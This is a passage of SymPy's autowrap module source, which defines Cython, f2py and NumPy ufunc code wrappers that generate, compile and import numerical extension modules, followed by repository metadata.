_prepare_files(self, routine):\n        return\n\n    def _generate_code(self, routine, helpers):\n        with open('%s.py' % self.module_name, 'w') as f:\n            printed = \", \".join(\n                [str(res.expr) for res in routine.result_variables])\n            # convert OutputArguments to return value like f2py\n            args = filter(lambda x: not isinstance(\n                x, OutputArgument), routine.arguments)\n            retvals = []\n            for val in routine.result_variables:\n                if isinstance(val, Result):\n                    retvals.append('nameless')\n                else:\n                    retvals.append(val.result_var)\n\n            print(DummyWrapper.template % {\n                'name': routine.name,\n                'expr': printed,\n                'args': \", \".join([str(a.name) for a in args]),\n                'retvals': \", \".join([str(val) for val in retvals])\n            }, end=\"\", file=f)\n\n    def _process_files(self, routine):\n        return\n\n    @classmethod\n    def _get_wrapped_function(cls, mod, name):\n        return getattr(mod, name)\n\n\nclass CythonCodeWrapper(CodeWrapper):\n    \"\"\"Wrapper that uses Cython\"\"\"\n\n    setup_template = \"\"\"\\\ntry:\n    from setuptools import setup\n    from setuptools import Extension\nexcept ImportError:\n    from distutils.core import setup\n    from distutils.extension import Extension\nfrom Cython.Build import cythonize\ncy_opts = {cythonize_options}\n{np_import}\next_mods = [Extension(\n    {ext_args},\n    include_dirs={include_dirs},\n    library_dirs={library_dirs},\n    libraries={libraries},\n    extra_compile_args={extra_compile_args},\n    extra_link_args={extra_link_args}\n)]\nsetup(ext_modules=cythonize(ext_mods, **cy_opts))\n\"\"\"\n\n    pyx_imports = (\n        \"import numpy as np\\n\"\n        \"cimport numpy as np\\n\\n\")\n\n    pyx_header = (\n        \"cdef extern from '{header_file}.h':\\n\"\n        \"    {prototype}\\n\\n\")\n\n    pyx_func = (\n        \"def {name}_c({arg_string}):\\n\"\n        \"\\n\"\n        \"{declarations}\"\n        \"{body}\")\n\n    std_compile_flag = '-std=c99'\n\n    def __init__(self, *args, **kwargs):\n        \"\"\"Instantiates a Cython code wrapper.\n\n        The following optional parameters get passed to ``distutils.Extension``\n        for building the Python extension module. Read its documentation to\n        learn more.\n\n        Parameters\n        ==========\n        include_dirs : [list of strings]\n            A list of directories to search for C/C++ header files (in Unix\n            form for portability).\n        library_dirs : [list of strings]\n            A list of directories to search for C/C++ libraries at link time.\n        libraries : [list of strings]\n            A list of library names (not filenames or paths) to link against.\n        extra_compile_args : [list of strings]\n            Any extra platform- and compiler-specific information to use when\n            compiling the source files in 'sources'.  For platforms and\n            compilers where \"command line\" makes sense, this is typically a\n            list of command-line arguments, but for other platforms it could be\n            anything. Note that the attribute ``std_compile_flag`` will be\n            appended to this list.\n        extra_link_args : [list of strings]\n            Any extra platform- and compiler-specific information to use when\n            linking object files together to create the extension (or to create\n            a new static Python interpreter). Similar interpretation as for\n            'extra_compile_args'.\n        cythonize_options : [dictionary]\n            Keyword arguments passed on to cythonize.\n\n        \"\"\"\n\n        self._include_dirs = kwargs.pop('include_dirs', [])\n        self._library_dirs = kwargs.pop('library_dirs', [])\n        self._libraries = kwargs.pop('libraries', [])\n        self._extra_compile_args = kwargs.pop('extra_compile_args', [])\n        self._extra_compile_args.append(self.std_compile_flag)\n        self._extra_link_args = kwargs.pop('extra_link_args', [])\n        self._cythonize_options = kwargs.pop('cythonize_options', {})\n\n        self._need_numpy = False\n\n        super(CythonCodeWrapper, self).__init__(*args, **kwargs)\n\n    @property\n    def command(self):\n        command = [sys.executable, \"setup.py\", \"build_ext\", \"--inplace\"]\n        return command\n\n    def _prepare_files(self, routine, build_dir=os.curdir):\n        # NOTE : build_dir is used for testing purposes.\n        pyxfilename = self.module_name + '.pyx'\n        codefilename = \"%s.%s\" % (self.filename, self.generator.code_extension)\n\n        # pyx\n        with open(pyxfilename, 'w') as f:\n            self.dump_pyx([routine], f, self.filename)\n\n        # setup.py\n        ext_args = [repr(self.module_name), repr([pyxfilename, codefilename])]\n        if self._need_numpy:\n            np_import = 'import numpy as np\\n'\n            self._include_dirs.append('np.get_include()')\n        else:\n            np_import = ''\n\n        with open(os.path.join(build_dir, 'setup.py'), 'w') as f:\n            includes = str(self._include_dirs).replace(\"'np.get_include()'\",\n                                                       'np.get_include()')\n            f.write(self.setup_template.format(\n                ext_args=\", \".join(ext_args),\n                np_import=np_import,\n                include_dirs=includes,\n                library_dirs=self._library_dirs,\n                libraries=self._libraries,\n                extra_compile_args=self._extra_compile_args,\n                extra_link_args=self._extra_link_args,\n                cythonize_options=self._cythonize_options\n            ))\n\n    @classmethod\n    def _get_wrapped_function(cls, mod, name):\n        return getattr(mod, name + '_c')\n\n    def dump_pyx(self, routines, f, prefix):\n        \"\"\"Write a Cython file with python wrappers\n\n        This file contains all the definitions of the routines in c code and\n        refers to the header file.\n\n        Arguments\n        ---------\n        routines\n            List of Routine instances\n        f\n            File-like object to write the file to\n        prefix\n            The filename prefix, used to refer to the proper header file.\n            Only the basename of the prefix is used.\n        \"\"\"\n        headers = []\n        functions = []\n        for routine in routines:\n            prototype = self.generator.get_prototype(routine)\n\n            # C Function Header Import\n            headers.append(self.pyx_header.format(header_file=prefix,\n                                                  prototype=prototype))\n\n            # Partition the C function arguments into categories\n            py_rets, py_args, py_loc, py_inf = self._partition_args(routine.arguments)\n\n            # Function prototype\n            name = routine.name\n            arg_string = \", \".join(self._prototype_arg(arg) for arg in py_args)\n\n            # Local Declarations\n            local_decs = []\n            for arg, val in py_inf.items():\n                proto = self._prototype_arg(arg)\n                mat, ind = val\n                local_decs.append(\"    cdef {0} = {1}.shape[{2}]\".format(proto, mat, ind))\n            local_decs.extend([\"    cdef {0}\".format(self._declare_arg(a)) for a in py_loc])\n            declarations = \"\\n\".join(local_decs)\n            if declarations:\n                declarations = declarations + \"\\n\"\n\n            # Function Body\n            args_c = \", \".join([self._call_arg(a) for a in routine.arguments])\n            rets = \", \".join([str(r.name) for r in py_rets])\n            if routine.results:\n                body = '    return %s(%s)' % (routine.name, args_c)\n                if rets:\n                    body = body + ', ' + rets\n            else:\n                body = '    %s(%s)\\n' % (routine.name, args_c)\n                body = body + '    return ' + rets\n\n            functions.append(self.pyx_func.format(name=name, arg_string=arg_string,\n                    declarations=declarations, body=body))\n\n        # Write text to file\n        if self._need_numpy:\n            # Only import numpy if required\n            f.write(self.pyx_imports)\n        f.write('\\n'.join(headers))\n        f.write('\\n'.join(functions))\n\n    def _partition_args(self, args):\n        \"\"\"Group function arguments into categories.\"\"\"\n        py_args = []\n        py_returns = []\n        py_locals = []\n        py_inferred = {}\n        for arg in args:\n            if isinstance(arg, OutputArgument):\n                py_returns.append(arg)\n                py_locals.append(arg)\n            elif isinstance(arg, InOutArgument):\n                py_returns.append(arg)\n                py_args.append(arg)\n            else:\n                py_args.append(arg)\n        # Find arguments that are array dimensions. These can be inferred\n        # locally in the Cython code.\n            if isinstance(arg, (InputArgument, InOutArgument)) and arg.dimensions:\n                dims = [d[1] + 1 for d in arg.dimensions]\n                sym_dims = [(i, d) for (i, d) in enumerate(dims) if\n                            isinstance(d, Symbol)]\n                for (i, d) in sym_dims:\n                    py_inferred[d] = (arg.name, i)\n        for arg in args:\n            if arg.name in py_inferred:\n                py_inferred[arg] = py_inferred.pop(arg.name)\n        # Filter inferred arguments from py_args\n        py_args = [a for a in py_args if a not in py_inferred]\n        return py_returns, py_args, py_locals, py_inferred\n\n    def _prototype_arg(self, arg):\n        mat_dec = \"np.ndarray[{mtype}, ndim={ndim}] {name}\"\n        np_types = {'double': 'np.double_t',\n                    'int': 'np.int_t'}\n        t = arg.get_datatype('c')\n        if arg.dimensions:\n            self._need_numpy = True\n            ndim = len(arg.dimensions)\n            mtype = np_types[t]\n            return mat_dec.format(mtype=mtype, ndim=ndim, name=arg.name)\n        else:\n            return \"%s %s\" % (t, str(arg.name))\n\n    def _declare_arg(self, arg):\n        proto = self._prototype_arg(arg)\n        if arg.dimensions:\n            shape = '(' + ','.join(str(i[1] + 1) for i in arg.dimensions) + ')'\n            return proto + \" = np.empty({shape})\".format(shape=shape)\n        else:\n            return proto + \" = 0\"\n\n    def _call_arg(self, arg):\n        if arg.dimensions:\n            t = arg.get_datatype('c')\n            return \"<{0}*> {1}.data\".format(t, arg.name)\n        elif isinstance(arg, ResultBase):\n            return \"&{0}\".format(arg.name)\n        else:\n            return str(arg.name)\n\n\nclass F2PyCodeWrapper(CodeWrapper):\n    \"\"\"Wrapper that uses f2py\"\"\"\n\n    def __init__(self, *args, **kwargs):\n\n        ext_keys = ['include_dirs', 'library_dirs', 'libraries',\n                    'extra_compile_args', 'extra_link_args']\n        msg = ('The compilation option kwarg {} is not supported with the f2py '\n               'backend.')\n\n        for k in ext_keys:\n            if k in kwargs.keys():\n                warn(msg.format(k))\n            kwargs.pop(k, None)\n\n        super(F2PyCodeWrapper, self).__init__(*args, **kwargs)\n\n    @property\n    def command(self):\n        filename = self.filename + '.' + self.generator.code_extension\n        args = ['-c', '-m', self.module_name, filename]\n        command = [sys.executable, \"-c\", \"import numpy.f2py as f2py2e;f2py2e.main()\"]+args\n        return command\n\n    def _prepare_files(self, routine):\n        pass\n\n    @classmethod\n    def _get_wrapped_function(cls, mod, name):\n        return getattr(mod, name)\n\n\n# Here we define a lookup of backends -> tuples of languages. For now, each\n# tuple is of length 1, but if a backend supports more than one language,\n# the most preferable language is listed first.\n_lang_lookup = {'CYTHON': ('C99', 'C89', 'C'),\n                'F2PY': ('F95',),\n                'NUMPY': ('C99', 'C89', 'C'),\n                'DUMMY': ('F95',)}     # Dummy here just for testing\n\n\ndef _infer_language(backend):\n    \"\"\"For a given backend, return the top choice of language\"\"\"\n    langs = _lang_lookup.get(backend.upper(), False)\n    if not langs:\n        raise ValueError(\"Unrecognized backend: \" + backend)\n    return langs[0]\n\n\ndef _validate_backend_language(backend, language):\n    \"\"\"Throws error if backend and language are incompatible\"\"\"\n    langs = _lang_lookup.get(backend.upper(), False)\n    if not langs:\n        raise ValueError(\"Unrecognized backend: \" + backend)\n    if language.upper() not in langs:\n        raise ValueError((\"Backend {0} and language {1} are \"\n                          \"incompatible\").format(backend, language))\n\n\n@cacheit\n@doctest_depends_on(exe=('f2py', 'gfortran'), modules=('numpy',))\ndef autowrap(expr, language=None, backend='f2py', tempdir=None, args=None,\n             flags=None, verbose=False, helpers=None, code_gen=None, **kwargs):\n    \"\"\"Generates python callable binaries based on the math expression.\n\n    Parameters\n    ----------\n    expr\n        The SymPy expression that should be wrapped as a binary routine.\n    language : string, optional\n        If supplied, (options: 'C' or 'F95'), specifies the language of the\n        generated code. If ``None`` [default], the language is inferred based\n        upon the specified backend.\n    backend : string, optional\n        Backend used to wrap the generated code. Either 'f2py' [default],\n        or 'cython'.\n    tempdir : string, optional\n        Path to directory for temporary files. If this argument is supplied,\n        the generated code and the wrapper input files are left intact in the\n        specified path.\n    args : iterable, optional\n        An ordered iterable of symbols. Specifies the argument sequence for the\n        function.\n    flags : iterable, optional\n        Additional option flags that will be passed to the backend.\n    verbose : bool, optional\n        If True, autowrap will not mute the command line backends. This can be\n        helpful for debugging.\n    helpers : iterable, optional\n        Used to define auxillary expressions needed for the main expr. If the\n        main expression needs to call a specialized function it should be put\n        in the ``helpers`` iterable. Autowrap will then make sure that the\n        compiled main expression can link to the helper routine. Items should\n        be tuples with (<funtion_name>, <sympy_expression>, <arguments>). It\n        is mandatory to supply an argument sequence to helper routines.\n    code_gen : CodeGen instance\n        An instance of a CodeGen subclass. Overrides ``language``.\n    include_dirs : [string]\n        A list of directories to search for C/C++ header files (in Unix form\n        for portability).\n    library_dirs : [string]\n        A list of directories to search for C/C++ libraries at link time.\n    libraries : [string]\n        A list of library names (not filenames or paths) to link against.\n    extra_compile_args : [string]\n        Any extra platform- and compiler-specific information to use when\n        compiling the source files in 'sources'.  For platforms and compilers\n        where \"command line\" makes sense, this is typically a list of\n        command-line arguments, but for other platforms it could be anything.\n    extra_link_args : [string]\n        Any extra platform- and compiler-specific information to use when\n        linking object files together to create the extension (or to create a\n        new static Python interpreter).  Similar interpretation as for\n        'extra_compile_args'.\n\n    Examples\n    --------\n    >>> from sympy.abc import x, y, z\n    >>> from sympy.utilities.autowrap import autowrap\n    >>> expr = ((x - y + z)**(13)).expand()\n    >>> binary_func = autowrap(expr)\n    >>> binary_func(1, 4, 2)\n    -1.0\n    \"\"\"\n    if language:\n        if not isinstance(language, type):\n            _validate_backend_language(backend, language)\n    else:\n        language = _infer_language(backend)\n\n    helpers = [helpers] if helpers else ()\n    args = list(args) if iterable(args, exclude=set) else args\n\n    if code_gen is None:\n        code_gen = get_code_generator(language, \"autowrap\")\n\n    CodeWrapperClass = {\n        'F2PY': F2PyCodeWrapper,\n        'CYTHON': CythonCodeWrapper,\n        'DUMMY': DummyWrapper\n    }[backend.upper()]\n    code_wrapper = CodeWrapperClass(code_gen, tempdir, flags if flags else (),\n                                    verbose, **kwargs)\n\n    helps = []\n    for name_h, expr_h, args_h in helpers:\n        helps.append(make_routine(name_h, expr_h, args_h))\n\n    for name_h, expr_h, args_h in helpers:\n        if expr.has(expr_h):\n            name_h = binary_function(name_h, expr_h, backend='dummy')\n            expr = expr.subs(expr_h, name_h(*args_h))\n    try:\n        routine = make_routine('autofunc', expr, args)\n    except CodeGenArgumentListError as e:\n        # if all missing arguments are for pure output, we simply attach them\n        # at the end and try again, because the wrappers will silently convert\n        # them to return values anyway.\n        new_args = []\n        for missing in e.missing_args:\n            if not isinstance(missing, OutputArgument):\n                raise\n            new_args.append(missing.name)\n        routine = make_routine('autofunc', expr, args + new_args)\n\n    return code_wrapper.wrap_code(routine, helpers=helps)\n\n\n@doctest_depends_on(exe=('f2py', 'gfortran'), modules=('numpy',))\ndef binary_function(symfunc, expr, **kwargs):\n    \"\"\"Returns a sympy function with expr as binary implementation\n\n    This is a convenience function that automates the steps needed to\n    autowrap the SymPy expression and attaching it to a Function object\n    with implemented_function().\n\n    Parameters\n    ----------\n    symfunc : sympy Function\n        The function to bind the callable to.\n    expr : sympy Expression\n        The expression used to generate the function.\n    kwargs : dict\n        Any kwargs accepted by autowrap.\n\n    Examples\n    --------\n    >>> from sympy.abc import x, y\n    >>> from sympy.utilities.autowrap import binary_function\n    >>> expr = ((x - y)**(25)).expand()\n    >>> f = binary_function('f', expr)\n    >>> type(f)\n    <class 'sympy.core.function.UndefinedFunction'>\n    >>> 2*f(x, y)\n    2*f(x, y)\n    >>> f(x, y).evalf(2, subs={x: 1, y: 2})\n    -1.0\n    \"\"\"\n    binary = autowrap(expr, **kwargs)\n    return implemented_function(symfunc, binary)\n\n#################################################################\n#                           UFUNCIFY                            #\n#################################################################\n\n_ufunc_top = Template(\"\"\"\\\n#include \"Python.h\"\n#include \"math.h\"\n#include \"numpy/ndarraytypes.h\"\n#include \"numpy/ufuncobject.h\"\n#include \"numpy/halffloat.h\"\n#include ${include_file}\n\nstatic PyMethodDef ${module}Methods[] = {\n        {NULL, NULL, 0, NULL}\n};\"\"\")\n\n_ufunc_outcalls = Template(\"*((double *)out${outnum}) = ${funcname}(${call_args});\")\n\n_ufunc_body = Template(\"\"\"\\\nstatic void ${funcname}_ufunc(char **args, npy_intp *dimensions, npy_intp* steps, void* data)\n{\n    npy_intp i;\n    npy_intp n = dimensions[0];\n    ${declare_args}\n    ${declare_steps}\n    for (i = 0; i < n; i++) {\n        ${outcalls}\n        ${step_increments}\n    }\n}\nPyUFuncGenericFunction ${funcname}_funcs[1] = {&${funcname}_ufunc};\nstatic char ${funcname}_types[${n_types}] = ${types}\nstatic void *${funcname}_data[1] = {NULL};\"\"\")\n\n_ufunc_bottom = Template(\"\"\"\\\n#if PY_VERSION_HEX >= 0x03000000\nstatic struct PyModuleDef moduledef = {\n    PyModuleDef_HEAD_INIT,\n    \"${module}\",\n    NULL,\n    -1,\n    ${module}Methods,\n    NULL,\n    NULL,\n    NULL,\n    NULL\n};\n\nPyMODINIT_FUNC PyInit_${module}(void)\n{\n    PyObject *m, *d;\n    ${function_creation}\n    m = PyModule_Create(&moduledef);\n    if (!m) {\n        return NULL;\n    }\n    import_array();\n    import_umath();\n    d = PyModule_GetDict(m);\n    ${ufunc_init}\n    return m;\n}\n#else\nPyMODINIT_FUNC init${module}(void)\n{\n    PyObject *m, *d;\n    ${function_creation}\n    m = Py_InitModule(\"${module}\", ${module}Methods);\n    if (m == NULL) {\n        return;\n    }\n    import_array();\n    import_umath();\n    d = PyModule_GetDict(m);\n    ${ufunc_init}\n}\n#endif\\\n\"\"\")\n\n_ufunc_init_form = Template(\"\"\"\\\nufunc${ind} = PyUFunc_FromFuncAndData(${funcname}_funcs, ${funcname}_data, ${funcname}_types, 1, ${n_in}, ${n_out},\n            PyUFunc_None, \"${module}\", ${docstring}, 0);\n    PyDict_SetItemString(d, \"${funcname}\", ufunc${ind});\n    Py_DECREF(ufunc${ind});\"\"\")\n\n_ufunc_setup = Template(\"\"\"\\\ndef configuration(parent_package='', top_path=None):\n    import numpy\n    from numpy.distutils.misc_util import Configuration\n\n    config = Configuration('',\n                           parent_package,\n                           top_path)\n    config.add_extension('${module}', sources=['${module}.c', '${filename}.c'])\n\n    return config\n\nif __name__ == \"__main__\":\n    from numpy.distutils.core import setup\n    setup(configuration=configuration)\"\"\")\n\n\nclass UfuncifyCodeWrapper(CodeWrapper):\n    \"\"\"Wrapper for Ufuncify\"\"\"\n\n    def __init__(self, *args, **kwargs):\n\n        ext_keys = ['include_dirs', 'library_dirs', 'libraries',\n                    'extra_compile_args', 'extra_link_args']\n        msg = ('The compilation option kwarg {} is not supported with the numpy'\n               ' backend.')\n\n        for k in ext_keys:\n            if k in kwargs.keys():\n                warn(msg.format(k))\n            kwargs.pop(k, None)\n\n        super(UfuncifyCodeWrapper, self).__init__(*args, **kwargs)\n\n    @property\n    def command(self):\n        command = [sys.executable, \"setup.py\", \"build_ext\", \"--inplace\"]\n        return command\n\n    def wrap_code(self, routines, helpers=None):\n        # This routine overrides CodeWrapper because we can't assume funcname == routines[0].name\n        # Therefore we have to break the CodeWrapper private API.\n        # There isn't an obvious way to extend multi-expr support to\n        # the other autowrap backends, so we limit this change to ufuncify.\n        helpers = helpers if helpers is not None else []\n        # We just need a consistent name\n        funcname = 'wrapped_' + str(id(routines) + id(helpers))\n\n        workdir = self.filepath or tempfile.mkdtemp(\"_sympy_compile\")\n        if not os.access(workdir, os.F_OK):\n            os.mkdir(workdir)\n        oldwork = os.getcwd()\n        os.chdir(workdir)\n        try:\n            sys.path.append(workdir)\n            self._generate_code(routines, helpers)\n            self._prepare_files(routines, funcname)\n            self._process_files(routines)\n            mod = __import__(self.module_name)\n        finally:\n            sys.path.remove(workdir)\n            CodeWrapper._module_counter += 1\n            os.chdir(oldwork)\n            if not self.filepath:\n                try:\n                    shutil.rmtree(workdir)\n                except OSError:\n                    # Could be some issues on Windows\n                    pass\n\n        return self._get_wrapped_function(mod, funcname)\n\n    def _generate_code(self, main_routines, helper_routines):\n        all_routines = main_routines + helper_routines\n        self.generator.write(\n            all_routines, self.filename, True, self.include_header,\n            self.include_empty)\n\n    def _prepare_files(self, routines, funcname):\n\n        # C\n        codefilename = self.module_name + '.c'\n        with open(codefilename, 'w') as f:\n            self.dump_c(routines, f, self.filename, funcname=funcname)\n\n        # setup.py\n        with open('setup.py', 'w') as f:\n            self.dump_setup(f)\n\n    @classmethod\n    def _get_wrapped_function(cls, mod, name):\n        return getattr(mod, name)\n\n    def dump_setup(self, f):\n        setup = _ufunc_setup.substitute(module=self.module_name,\n                                        filename=self.filename)\n        f.write(setup)\n\n    def dump_c(self, routines, f, prefix, funcname=None):\n        \"\"\"Write a C file with python wrappers\n\n        This file contains all the definitions of the routines in c code.\n\n        Arguments\n        ---------\n        routines\n            List of Routine instances\n        f\n            File-like object to write the file to\n        prefix\n            The filename prefix, used to name the imported module.\n        funcname\n            Name of the main function to be returned.\n        \"\"\"\n        if (funcname is None) and (len(routines) == 1):\n            funcname = routines[0].name\n        elif funcname is None:\n            msg = 'funcname must be specified for multiple output routines'\n            raise ValueError(msg)\n        functions = []\n        function_creation = []\n        ufunc_init = []\n        module = self.module_name\n        include_file = \"\\\"{0}.h\\\"\".format(prefix)\n        top = _ufunc_top.substitute(include_file=include_file, module=module)\n\n        name = funcname\n\n        # Partition the C function arguments into categories\n        # Here we assume all routines accept the same arguments\n        r_index = 0\n        py_in, _ = self._partition_args(routines[0].arguments)\n        n_in = len(py_in)\n        n_out = len(routines)\n\n        # Declare Args\n        form = \"char *{0}{1} = args[{2}];\"\n        arg_decs = [form.format('in', i, i) for i in range(n_in)]\n        arg_decs.extend([form.format('out', i, i+n_in) for i in range(n_out)])\n        declare_args = '\\n    '.join(arg_decs)\n\n        # Declare Steps\n        form = \"npy_intp {0}{1}_step = steps[{2}];\"\n        step_decs = [form.format('in', i, i) for i in range(n_in)]\n        step_decs.extend([form.format('out', i, i+n_in) for i in range(n_out)])\n        declare_steps = '\\n    '.join(step_decs)\n\n        # Call Args\n        form = \"*(double *)in{0}\"\n        call_args = ', '.join([form.format(a) for a in range(n_in)])\n\n        # Step Increments\n        form = \"{0}{1} += {0}{1}_step;\"\n        step_incs = [form.format('in', i) for i in range(n_in)]\n        step_incs.extend([form.format('out', i, i) for i in range(n_out)])\n        step_increments = '\\n        '.join(step_incs)\n\n        # Types\n        n_types = n_in + n_out\n        types = \"{\" + ', '.join([\"NPY_DOUBLE\"]*n_types) + \"};\"\n\n        # Docstring\n        docstring = '\"Created in SymPy with Ufuncify\"'\n\n        # Function Creation\n        function_creation.append(\"PyObject *ufunc{0};\".format(r_index))\n\n        # Ufunc initialization\n        init_form = _ufunc_init_form.substitute(module=module,\n                                                funcname=name,\n                                                docstring=docstring,\n                                                n_in=n_in, n_out=n_out,\n                                                ind=r_index)\n        ufunc_init.append(init_form)\n\n        outcalls = [_ufunc_outcalls.substitute(\n            outnum=i, call_args=call_args, funcname=routines[i].name) for i in\n            range(n_out)]\n\n        body = _ufunc_body.substitute(module=module, funcname=name,\n                                      declare_args=declare_args,\n                                      declare_steps=declare_steps,\n                                      call_args=call_args,\n                                      step_increments=step_increments,\n                                      n_types=n_types, types=types,\n                                      outcalls='\\n        '.join(outcalls))\n        functions.append(body)\n\n        body = '\\n\\n'.join(functions)\n        ufunc_init = '\\n    '.join(ufunc_init)\n        function_creation = '\\n    '.join(function_creation)\n        bottom = _ufunc_bottom.substitute(module=module,\n                                          ufunc_init=ufunc_init,\n                                          function_creation=function_creation)\n        text = [top, body, bottom]\n        f.write('\\n\\n'.join(text))\n\n    def _partition_args(self, args):\n        \"\"\"Group function arguments into categories.\"\"\"\n        py_in = []\n        py_out = []\n        for arg in args:\n            if isinstance(arg, OutputArgument):\n                py_out.append(arg)\n            elif isinstance(arg, InOutArgument):\n                raise ValueError(\"Ufuncify doesn't support InOutArguments\")\n            else:\n                py_in.append(arg)\n        return py_in, py_out\n\n\n@cacheit\n@doctest_depends_on(exe=('f2py', 'gfortran', 'gcc'), modules=('numpy',))\ndef ufuncify(args, expr, language=None, backend='numpy', tempdir=None,\n             flags=None, verbose=False, helpers=None, **kwargs):\n    \"\"\"Generates a binary function that supports broadcasting on numpy arrays.\n\n    Parameters\n    ----------\n    args : iterable\n        Either a Symbol or an iterable of symbols. Specifies the argument\n        sequence for the function.\n    expr\n        A SymPy expression that defines the element wise operation.\n    language : string, optional\n        If supplied, (options: 'C' or 'F95'), specifies the language of the\n        generated code. If ``None`` [default], the language is inferred based\n        upon the specified backend.\n    backend : string, optional\n        Backend used to wrap the generated code. Either 'numpy' [default],\n        'cython', or 'f2py'.\n    tempdir : string, optional\n        Path to directory for temporary files. If this argument is supplied,\n        the generated code and the wrapper input files are left intact in\n        the specified path.\n    flags : iterable, optional\n        Additional option flags that will be passed to the backend.\n    verbose : bool, optional\n        If True, autowrap will not mute the command line backends. This can\n        be helpful for debugging.\n    helpers : iterable, optional\n        Used to define auxillary expressions needed for the main expr. If\n        the main expression needs to call a specialized function it should\n        be put in the ``helpers`` iterable. Autowrap will then make sure\n        that the compiled main expression can link to the helper routine.\n        Items should be tuples with (<funtion_name>, <sympy_expression>,\n        <arguments>). It is mandatory to supply an argument sequence to\n        helper routines.\n    kwargs : dict\n        These kwargs will be passed to autowrap if the `f2py` or `cython`\n        backend is used and ignored if the `numpy` backend is used.\n\n    Note\n    ----\n    The default backend ('numpy') will create actual instances of\n    ``numpy.ufunc``. These support ndimensional broadcasting, and implicit type\n    conversion. Use of the other backends will result in a \"ufunc-like\"\n    function, which requires equal length 1-dimensional arrays for all\n    arguments, and will not perform any type conversions.\n\n    References\n    ----------\n    [1] http://docs.scipy.org/doc/numpy/reference/ufuncs.html\n\n    Examples\n    ========\n\n    >>> from sympy.utilities.autowrap import ufuncify\n    >>> from sympy.abc import x, y\n    >>> import numpy as np\n    >>> f = ufuncify((x, y), y + x**2)\n    >>> type(f)\n    <class 'numpy.ufunc'>\n    >>> f([1, 2, 3], 2)\n    array([  3.,   6.,  11.])\n    >>> f(np.arange(5), 3)\n    array([  3.,   4.,   7.,  12.,  19.])\n\n    For the 'f2py' and 'cython' backends, inputs are required to be equal length\n    1-dimensional arrays. The 'f2py' backend will perform type conversion, but\n    the Cython backend will error if the inputs are not of the expected type.\n\n    >>> f_fortran = ufuncify((x, y), y + x**2, backend='f2py')\n    >>> f_fortran(1, 2)\n    array([ 3.])\n    >>> f_fortran(np.array([1, 2, 3]), np.array([1.0, 2.0, 3.0]))\n    array([  2.,   6.,  12.])\n    >>> f_cython = ufuncify((x, y), y + x**2, backend='Cython')\n    >>> f_cython(1, 2)  # doctest: +ELLIPSIS\n    Traceback (most recent call last):\n      ...\n    TypeError: Argument '_x' has incorrect type (expected numpy.ndarray, got int)\n    >>> f_cython(np.array([1.0]), np.array([2.0]))\n    array([ 3.])\n    \"\"\"\n\n    if isinstance(args, Symbol):\n        args = (args,)\n    else:\n        args = tuple(args)\n\n    if language:\n        _validate_backend_language(backend, language)\n    else:\n        language = _infer_language(backend)\n\n    helpers = helpers if helpers else ()\n    flags = flags if flags else ()\n\n    if backend.upper() == 'NUMPY':\n        # maxargs is set by numpy compile-time constant NPY_MAXARGS\n        # If a future version of numpy modifies or removes this restriction\n        # this variable should be changed or removed\n        maxargs = 32\n        helps = []\n        for name, expr, args in helpers:\n            helps.append(make_routine(name, expr, args))\n        code_wrapper = UfuncifyCodeWrapper(C99CodeGen(\"ufuncify\"), tempdir,\n                                           flags, verbose)\n        if not isinstance(expr, (list, tuple)):\n            expr = [expr]\n        if len(expr) == 0:\n            raise ValueError('Expression iterable has zero length')\n        if (len(expr) + len(args)) > maxargs:\n            msg = ('Cannot create ufunc with more than {0} total arguments: '\n                   'got {1} in, {2} out')\n            raise ValueError(msg.format(maxargs, len(args), len(expr)))\n        routines = [make_routine('autofunc{}'.format(idx), exprx, args) for\n                    idx, exprx in enumerate(expr)]\n        return code_wrapper.wrap_code(routines, helpers=helps)\n    else:\n        # Dummies are used for all added expressions to prevent name clashes\n        # within the original expression.\n        y = IndexedBase(Dummy())\n        m = Dummy(integer=True)\n        i = Idx(Dummy(integer=True), m)\n        f = implemented_function(Dummy().name, Lambda(args, expr))\n        # For each of the args create an indexed version.\n        indexed_args = [IndexedBase(Dummy(str(a))) for a in args]\n        # Order the arguments (out, args, dim)\n        args = [y] + indexed_args + [m]\n        args_with_indices = [a[i] for a in indexed_args]\n        return autowrap(Eq(y[i], f(*args_with_indices)), language, backend,\n                        tempdir, args, flags, verbose, helpers, **kwargs)\n", "meta": {"hexsha": "6a72bc0ee15169c49f118497ca5867a5cc38b826", "size": 40243, "ext": "py", "lang": "Python", "max_stars_repo_path": "webserver/python2.7/site-packages/sympy/utilities/autowrap.py", "max_stars_repo_name": "maxr1876/Radix", "max_stars_repo_head_hexsha": "bf9a5470908ea0823c8398565086b1e6b960c73b", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "webserver/python2.7/site-packages/sympy/utilities/autowrap.py", "max_issues_repo_name": "maxr1876/Radix", "max_issues_repo_head_hexsha": "bf9a5470908ea0823c8398565086b1e6b960c73b", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "webserver/python2.7/site-packages/sympy/utilities/autowrap.py", "max_forks_repo_name": "maxr1876/Radix", "max_forks_repo_head_hexsha": "bf9a5470908ea0823c8398565086b1e6b960c73b", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.6845943482, "max_line_length": 115, "alphanum_fraction": 0.6033098924, "include": true, "reason": "import numpy,from numpy,from sympy", "num_tokens": 9268, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416730056646256, "lm_q2_score": 0.15405756269148543, "lm_q1q2_score": 0.06804306675931486}}
